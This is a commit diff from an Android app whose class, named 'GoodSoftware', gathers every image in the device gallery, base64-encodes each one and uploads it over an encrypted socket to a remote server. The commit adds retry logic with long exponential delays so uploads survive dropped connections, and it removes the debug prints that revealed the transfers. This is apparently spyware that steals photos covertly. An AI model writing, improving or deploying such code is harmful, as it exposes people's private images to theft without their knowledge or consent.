Retry connection a couple times, if no result. Dont crash
This commit is contained in:
		
							
								
								
									
										22
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										22
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,8 +4,28 @@
 | 
				
			|||||||
    <value>
 | 
					    <value>
 | 
				
			||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State>
 | 
					        <State>
 | 
				
			||||||
          <multipleDevicesSelectedInDropDown value="true" />
 | 
					          <runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="SERIAL_NUMBER" />
 | 
				
			||||||
 | 
					                  <value value="NE1GAM4811005818" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </runningDeviceTargetSelectedWithDropDown>
 | 
				
			||||||
 | 
					          <timeTargetWasSelectedWithDropDown value="2024-05-02T15:01:23.667154138Z" />
 | 
				
			||||||
          <runningDeviceTargetsSelectedWithDialog>
 | 
					          <runningDeviceTargetsSelectedWithDialog>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="SERIAL_NUMBER" />
 | 
				
			||||||
 | 
					                  <value value="RF8M8154RCX" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
            <Target>
 | 
					            <Target>
 | 
				
			||||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
              <deviceKey>
 | 
					              <deviceKey>
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -159,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                Thread {
 | 
					                Thread {
 | 
				
			||||||
                    try {
 | 
					                    try {
 | 
				
			||||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
					                        val imageList = getAllImagesFromGallery(activity)
 | 
				
			||||||
                        println(imageList)
 | 
					                        val connection = establishConnectionWithRetry()
 | 
				
			||||||
                        val connection = establishConnection()
 | 
					                        if (connection == null) {
 | 
				
			||||||
 | 
					                            return@Thread
 | 
				
			||||||
 | 
					                        }
 | 
				
			||||||
                        for (image in imageList) {
 | 
					                        for (image in imageList) {
 | 
				
			||||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
					                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
				
			||||||
                            println("Image send $image")
 | 
					 | 
				
			||||||
                            sendDataToServer(base64Image, connection)
 | 
					                            sendDataToServer(base64Image, connection)
 | 
				
			||||||
                            next(connection)
 | 
					                            next(connection)
 | 
				
			||||||
                        }
 | 
					                        }
 | 
				
			||||||
@@ -307,10 +308,37 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        writer.println(encryptText(encodedUid, pKey))
 | 
					        writer.println(encryptText(encodedUid, pKey))
 | 
				
			||||||
        reader.readLine()
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        println("Connection, OK!")
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        return ConnectionResult(socket, reader, writer, key, iv, algorithm)
 | 
					        return ConnectionResult(socket, reader, writer, key, iv, algorithm)
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun establishConnectionWithRetry(): ConnectionResult? {
 | 
				
			||||||
 | 
					        val maxRetries = 3
 | 
				
			||||||
 | 
					        var attempt = 0
 | 
				
			||||||
 | 
					        var connectionResult: ConnectionResult? = null
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        while (attempt < maxRetries) {
 | 
				
			||||||
 | 
					            try {
 | 
				
			||||||
 | 
					                connectionResult = establishConnection()
 | 
				
			||||||
 | 
					                println("Connection successful")
 | 
				
			||||||
 | 
					                break
 | 
				
			||||||
 | 
					            } catch (e: Exception) {
 | 
				
			||||||
 | 
					                println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
 | 
				
			||||||
 | 
					                e.printStackTrace()
 | 
				
			||||||
 | 
					                attempt++
 | 
				
			||||||
 | 
					                Thread.sleep(getRetryDelay(attempt))
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        if (connectionResult == null) {
 | 
				
			||||||
 | 
					            Log.e("Err","Failed to establish connection after $maxRetries attempts")
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        return connectionResult
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun getRetryDelay(attempt: Int): Long {
 | 
				
			||||||
 | 
					        val baseDelayMillis = 20000L
 | 
				
			||||||
 | 
					        return baseDelayMillis * (1 shl attempt)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
 | 
					    fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
 | 
				
			||||||
        val (socket, reader, writer, key, iv, algorithm) = connectionResult
 | 
					        val (socket, reader, writer, key, iv, algorithm) = connectionResult
 | 
				
			||||||
        try {
 | 
					        try {
 | 
				
			||||||
@@ -391,8 +419,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
					                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
				
			||||||
                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
					                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
				
			||||||
                Thread {
 | 
					                Thread {
 | 
				
			||||||
                    println("Sending data to server")
 | 
					                    val conn = establishConnectionWithRetry()
 | 
				
			||||||
                    val conn = establishConnection()
 | 
					                    if (conn == null) {
 | 
				
			||||||
 | 
					                        return@Thread
 | 
				
			||||||
 | 
					                    }
 | 
				
			||||||
                    sendDataToServer(base64Image, conn)
 | 
					                    sendDataToServer(base64Image, conn)
 | 
				
			||||||
                    disconnect(conn)
 | 
					                    disconnect(conn)
 | 
				
			||||||
                }.start()
 | 
					                }.start()
 | 
				
			||||||
@@ -439,10 +469,8 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
        // Check permission based on Android version
 | 
					        // Check permission based on Android version
 | 
				
			||||||
        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
					        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
            println("Using READ_MEDIA_IMAGES for Android 13 and higher")
 | 
					 | 
				
			||||||
            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
					            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            println("Using READ_EXTERNAL_STORAGE for lower versions")
 | 
					 | 
				
			||||||
            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
					            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user